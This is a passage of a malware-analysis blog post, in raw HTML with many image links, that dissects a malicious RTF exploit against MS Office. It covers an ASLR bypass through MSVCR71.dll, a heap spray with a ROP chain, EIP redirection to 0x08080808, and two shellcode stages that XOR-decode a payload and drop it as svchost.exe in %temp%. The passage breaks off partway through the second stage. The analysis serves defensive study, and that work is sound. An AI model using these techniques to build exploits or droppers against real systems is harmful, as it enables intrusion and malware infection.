&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It has also extracted 2 Open Office XML document embedded within the RTF exploit. Static analysis framework further has the ability to re-analyse extracted OOXML files. If we take a look at the anlaysis.log file for the extracted_ooxml_1, it has detected a shellcode in the embedded object activeX1.bin&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG1eQvzpzO6xyoCHNt6SWIAZxvLyCmmuMUOUTsEGHSi81oogjCgWMauf9y3rltwILUPW_WLfePe287-vbiGhniHgzEG6bgdrphF5620QDNkEY1TZ_d5T4OaKt-DzuxErvfc7Z38Iu-pVw/s1600/2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG1eQvzpzO6xyoCHNt6SWIAZxvLyCmmuMUOUTsEGHSi81oogjCgWMauf9y3rltwILUPW_WLfePe287-vbiGhniHgzEG6bgdrphF5620QDNkEY1TZ_d5T4OaKt-DzuxErvfc7Z38Iu-pVw/s400/2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
and similar for the extracted_ooxml_2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdMVxcQ0NcU4Cm79EdXTv-BCGWjno-zyaZRRqidynNt2qLVHJQThcKNrEGZ4_tK5jPR9C6ykY7JrZ3O5VNBLDNw8BhTH7A1w_cpYu3w127hyphenhyphenpl2mIBQZtd35C4ftQIxvmatcQ5Phrq8XM/s1600/4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;122&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdMVxcQ0NcU4Cm79EdXTv-BCGWjno-zyaZRRqidynNt2qLVHJQThcKNrEGZ4_tK5jPR9C6ykY7JrZ3O5VNBLDNw8BhTH7A1w_cpYu3w127hyphenhyphenpl2mIBQZtd35C4ftQIxvmatcQ5Phrq8XM/s400/4.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Below graphical representation of the shellcode apparently indicates the API address resolving code , parisng the export table as you&#39;d normally see in most of the exploits.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKRwvpLc711JMwnHYk4JS0qahV9gWWn0Xh3PTQqDBl5EVgMy4auomGUXCSTqMlYp3RZiuxeCT89fFsSE3V9YAvQrJg2Y90vAI4SDfcssFaN8mCPsNUG3cOszLUqi6sFUlFIrZlN5PdRCI/s1600/5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;250&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKRwvpLc711JMwnHYk4JS0qahV9gWWn0Xh3PTQqDBl5EVgMy4auomGUXCSTqMlYp3RZiuxeCT89fFsSE3V9YAvQrJg2Y90vAI4SDfcssFaN8mCPsNUG3cOszLUqi6sFUlFIrZlN5PdRCI/s400/5.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lets take a look at the interesting embedded binary objects.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;ASLR Bypass -&amp;nbsp;&lt;/u&gt;&lt;/b&gt;&lt;b&gt;&lt;u&gt;object_00000020.bin&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjavgTsvKupiubuM73uzGGoESRPN7-hlh54UaafuPF2PsBH01jKthqvB2m_FS_FZVZyGpTDLatbM1lqNqoVYbUmb5dsM0bTm3h94GRaws8cchjcVi1qBLorgFuZPw27VyVCerzAY7ZK9cY/s1600/analysis3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;52&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjavgTsvKupiubuM73uzGGoESRPN7-hlh54UaafuPF2PsBH01jKthqvB2m_FS_FZVZyGpTDLatbM1lqNqoVYbUmb5dsM0bTm3h94GRaws8cchjcVi1qBLorgFuZPw27VyVCerzAY7ZK9cY/s400/analysis3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
otkloadr.WRAssembly.1 is the ProgID that loads otkloadr.dll. This DLL is linked to another MS Office component MSVCR71.dll , that will get loaded once the exploit is executed and the one which is used to bypass ASLR. MSVCR71.dll is shipped along with the MS Office and it is not compiled with /DYNAMICBASE which makes possible to hardcode the addresses for ROP chain.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcRMCX8NEt2ehLFLKa6tfglPZnDIwyquU56MuK_ORATTJt9bnTmlQGhb24PJcnww3Tlda0zr-5VZhd7WBoLC20dG6nwohlf20HeFwhrxgzfRswdfv1GI-BuEgLpkBQGOqHUnkroSGIBvs/s1600/analysis4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;141&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcRMCX8NEt2ehLFLKa6tfglPZnDIwyquU56MuK_ORATTJt9bnTmlQGhb24PJcnww3Tlda0zr-5VZhd7WBoLC20dG6nwohlf20HeFwhrxgzfRswdfv1GI-BuEgLpkBQGOqHUnkroSGIBvs/s400/analysis4.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;object_000000E6.bin&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;This object contains the embedded OpenOffice XML document which includes activex1.bin that is used to perform the heap spray before the vulnerability is triggered. This technique is similar to the one used in CVE-2013-3906.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkWr0EV3wsMqNvAlcZHc8AAGgpiQSP3mOvtJ9aDpaeNefXsWla-aorfdCoSEd2BNUKSKKCamco0CxYsmAS1H6luCBB4njYA5I_R51WDCVvVhos3rlygEygi7m6fw0UuEtcM1tSn_pUyFs/s1600/analysis5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;88&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkWr0EV3wsMqNvAlcZHc8AAGgpiQSP3mOvtJ9aDpaeNefXsWla-aorfdCoSEd2BNUKSKKCamco0CxYsmAS1H6luCBB4njYA5I_R51WDCVvVhos3rlygEygi7m6fw0UuEtcM1tSn_pUyFs/s400/analysis5.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Following structure of the activex1.bin used for Heap Spray clearly reveals the shellcode. This structure of RET sledge&amp;nbsp;+ ROP chain&amp;nbsp;+ NOP&amp;nbsp;+ Shellcode is repeated every 0x20000 bytes&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFgdU9csG1MpmWX_MU0OkdRQXSAyq0fgZ-mKqgJ9fycPj8mqEoPMH9YypYYiroT1G4IsAZ-04yZsFjhPjg_8Gyy2A7WUtvll5eY949b-gV7XH9PIRhZFPvxGNfPVNNFNVdh4kZ4l5HgJk/s1600/analysis6.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;245&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFgdU9csG1MpmWX_MU0OkdRQXSAyq0fgZ-mKqgJ9fycPj8mqEoPMH9YypYYiroT1G4IsAZ-04yZsFjhPjg_8Gyy2A7WUtvll5eY949b-gV7XH9PIRhZFPvxGNfPVNNFNVdh4kZ4l5HgJk/s400/analysis6.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;object_000187A1.bin&lt;/b&gt; is responsible for triggering the vulnerability. I wont&#39;t be digging much into the vunerability details since it has already been covered in greater depth in the blog over &lt;a href=&quot;https://blog.fortinet.com/post/the-curious-case-of-the-document-exploiting-an-unknown-vulnerability-part-1&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;object_0002802c.bin&lt;/b&gt; also has OOXML document embedded and activex1.bin inside it leads to believe that EIP will be overwritten with 0x08080808 after the vulnerability is exploited. It is yet unidentified at what point this happens but the structure of the binary object is apparent. This can be confirmed by launching the exploit in the debugger as exposed in the next section.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyZn0rUjQ4a4SKtXtAKBWJ5s0VcoV4J_H9H3-401p6gxCLtVdpF9Lq7w_L0rFphtW_kabR0E8w3K9mSZNY4dVaPlI7Eu696o-LrBdaZwJmprG2tHnv1R20-iCacZzFN5HYg7djp6tRT2I/s1600/analysis7.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;265&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyZn0rUjQ4a4SKtXtAKBWJ5s0VcoV4J_H9H3-401p6gxCLtVdpF9Lq7w_L0rFphtW_kabR0E8w3K9mSZNY4dVaPlI7Eu696o-LrBdaZwJmprG2tHnv1R20-iCacZzFN5HYg7djp6tRT2I/s400/analysis7.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
One of the fact to note about this exploit is that it crashes several times when the execution is transferred to the heap at address 0x08080808, where the shellcode doesn&#39;t exist. Once we launch the exploit in the debugger , we can check out the non-aslr module MSVCR71.dll loaded by otkloadr.dll&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBBm58s_2Kt5WmDUGXesh1TFkvCYQbaP8m140-oGgkVRq-wSYdCwWjBqG_X5YBIHkhHg-fBtw9qlCK0BrRLfZ_BZtqtGJWdLTEXO0poKHVM8ilj00vewl7e31YQTdYRqOAq2Y3svebU_A/s1600/shellcode_-1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;71&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBBm58s_2Kt5WmDUGXesh1TFkvCYQbaP8m140-oGgkVRq-wSYdCwWjBqG_X5YBIHkhHg-fBtw9qlCK0BrRLfZ_BZtqtGJWdLTEXO0poKHVM8ilj00vewl7e31YQTdYRqOAq2Y3svebU_A/s400/shellcode_-1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After the exploit is launched , it performs the heap spray and subsequently,vulnerability is triggered to redirect the execution control to the heap , overwriting EIP with 0x08080808.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZoVGzHnHIWkQNmK-vdKm4Dw8yLvIOa0s0ba66VjXhXnPVym61oilGu0lEVrt_H25vxlZ1uwB4YtcsJHWyoMmgrm74mf-noiEyu1iQTDBK6XXUohb6K7hDLIb5YsDdQaOa66jURWqJDEE/s1600/heap.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;102&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZoVGzHnHIWkQNmK-vdKm4Dw8yLvIOa0s0ba66VjXhXnPVym61oilGu0lEVrt_H25vxlZ1uwB4YtcsJHWyoMmgrm74mf-noiEyu1iQTDBK6XXUohb6K7hDLIb5YsDdQaOa66jURWqJDEE/s400/heap.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;display: inline !important;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;display: inline !important;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;display: inline !important;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;display: inline !important;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;Shellcode Analysis - 1st Stage&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
1. Beginning of the 1st stage shellcode, as we would usually see in most of the exploits, parses the Process Environment Block ( PEB ) and deternines the base address of kernel32.dll. It then parses the export table of kernel32.dll to resolve the address of VirtualAlloc( ) API.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLnKXjKUiQlOgsE9A4SleYC1nILkW2020ErUZGeKUJUeW-RaWIzG3sfyvZTXW8K8XTiry7eSA_AlwdsYbrWK2N5jdajiErDXv6pC_MzezaXfsUZWAXFkvqEMpGAml2lO9rVP3_E1xpO6s/s1600/shellcode_0.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;161&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLnKXjKUiQlOgsE9A4SleYC1nILkW2020ErUZGeKUJUeW-RaWIzG3sfyvZTXW8K8XTiry7eSA_AlwdsYbrWK2N5jdajiErDXv6pC_MzezaXfsUZWAXFkvqEMpGAml2lO9rVP3_E1xpO6s/s400/shellcode_0.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;
2 . Calls VirtualAlloc ( ) to allocate the buffer and copies the hashes of the APIs to be resolved further, and then again returns to the export table parsing routine to resolve address of GetFileSize ( ) , CreateFileMapping ( ) and MapViewofFile ( )&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidXvSAlepzXZVkJ18PttPeyoAcbClpY3xUf4iEnB_pIRajYD7W5xEy1xkEFOCgJipbX88XJFnAjFPOURzJiSqgxLLOtHGkVCTEsIdNChEQrXWNaC8QcWfxE9ePKZU5aAhkbCUQb4yAfPI/s1600/shellcode_1_1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;143&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidXvSAlepzXZVkJ18PttPeyoAcbClpY3xUf4iEnB_pIRajYD7W5xEy1xkEFOCgJipbX88XJFnAjFPOURzJiSqgxLLOtHGkVCTEsIdNChEQrXWNaC8QcWfxE9ePKZU5aAhkbCUQb4yAfPI/s400/shellcode_1_1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3 . Next, the shellcode tries to locate itself in the memory by incrementally passing the file handles to the GetFileSize in the looped code. If the file size is greater than 40KB and less than 2MB, it calls CreateFileMapping and MapViewofFile ( ) to map the file into the address space of the calling process and matches the first 4 bytes of the file to check the RTF header.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFDq9Q4Pnxl7TvXZrNlI_MUuov8k_0u-o3QjHiEVNdsZ661IBK_G9cbXbSF3IhFAjaKFPOWYIUSivO6W1Cs9KSgH85H8B5jJGw-MhuKDk7C1EOn0qyuwG1akuapZBkxwk6Zv9geT04v10/s1600/shellcode_3_1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;126&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFDq9Q4Pnxl7TvXZrNlI_MUuov8k_0u-o3QjHiEVNdsZ661IBK_G9cbXbSF3IhFAjaKFPOWYIUSivO6W1Cs9KSgH85H8B5jJGw-MhuKDk7C1EOn0qyuwG1akuapZBkxwk6Zv9geT04v10/s400/shellcode_3_1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4 . Subsequently, it adds the offset 0x10000h to the beginning of the file and searches for the 2nd stage shellcode marker 0xFEFEFEFE and 0xFFFFFFFF and eventually jumps to execute it.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbFjGlS8RKX83XzRm7ekmYc7iAt3GM3-3Wtxn4gXp_Jin_rfhMt555RxAZnqKVidma0xDUjbrpGd-jfZVJYIBptpGOKh-CxssVTljOqACCTR9qwxx0WsrNpZqOv3F2CCzQSAjYbzDmhYU/s1600/shellcode_5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;116&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbFjGlS8RKX83XzRm7ekmYc7iAt3GM3-3Wtxn4gXp_Jin_rfhMt555RxAZnqKVidma0xDUjbrpGd-jfZVJYIBptpGOKh-CxssVTljOqACCTR9qwxx0WsrNpZqOv3F2CCzQSAjYbzDmhYU/s400/shellcode_5.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;Shellcode Analysis - 2nd Stage&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
1 . At an offset 0x2E from the start of the 2nd stage shellcode , it XORes 0x3CC bytes of the shellcode with the single byte XOR key 0xFC.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBYQMOIOTjS55GOIUq71dlYxJiidJ7uUKDf0S4xZR64FMf7iK9V1Fyn1cdj_afgQF-fU5-NZanDsPkyFqs5xZWRYuP2y0PItG7WZvhZ3pFvYmZaf_OlmgqJcM5qqxGBVQM4COUOTU1gTA/s1600/shellcode_6.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;130&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBYQMOIOTjS55GOIUq71dlYxJiidJ7uUKDf0S4xZR64FMf7iK9V1Fyn1cdj_afgQF-fU5-NZanDsPkyFqs5xZWRYuP2y0PItG7WZvhZ3pFvYmZaf_OlmgqJcM5qqxGBVQM4COUOTU1gTA/s400/shellcode_6.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2 . Calls NtQueryVirtualMemory( ) API to retrieve the original name of the exploit document , converts the filename to ASCII using WideChartoMultibyte ( ) and then calls GetLogicalDriveStringsA ( ) to append the current logical drive to the document name&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJvRUqFGLgzfINdVGW0SZ2IthCmtSS_iMXmZDBgPO2zBvTeIsh6OqTQStHnXsDVhkIk23MRZwjFfF6Rc11jjLKetJMtCAg9_lBEurYu1u_CORhlILoVgDbBd6qeoX5MrGn2B-IltuZOg8/s1600/shellcode_7.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;155&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJvRUqFGLgzfINdVGW0SZ2IthCmtSS_iMXmZDBgPO2zBvTeIsh6OqTQStHnXsDVhkIk23MRZwjFfF6Rc11jjLKetJMtCAg9_lBEurYu1u_CORhlILoVgDbBd6qeoX5MrGn2B-IltuZOg8/s400/shellcode_7.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
3 . Searches for the marker 0xBABABABA, subsequently decodes the XORed encoded executable with 4 byte XOR key 0xCAFEBABE , calls GetTempPathA ( ) and writes the decoded executable to the %temp% directory with the name svchost.exe&lt;br /&gt;
&lt;br /&gt;
